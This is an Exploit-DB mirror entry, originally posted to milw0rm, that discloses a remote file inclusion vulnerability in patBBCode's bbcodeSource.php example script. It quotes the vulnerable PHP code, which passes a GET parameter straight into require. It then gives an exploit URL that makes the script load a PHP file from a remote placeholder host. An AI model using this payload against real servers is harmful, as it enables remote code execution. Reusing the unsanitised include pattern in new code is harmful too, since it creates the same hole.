exploit-db-mirror/exploits/php/webapps/4621.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

26 lines
No EOL
585 B
Text

Link to download:
http://www.php-tools.net/site.php?file=patBBCode/overview.xml
Vuln file:
examples\patExampleGen\bbcodeSource.php
Vuln code:
if( !isset( $_GET['example'] ) )
die( 'No example selected.' );
$exampleId = $_GET['example'];
ob_start();
// make the example think it's still in the right place
chdir( '../' );
// include the example
require $exampleId.'.php';
ob_end_clean();
Exploit:
examples\patExampleGen\bbcodeSource.php?example= http://server.com/evilcode.php
# milw0rm.com [2007-11-12]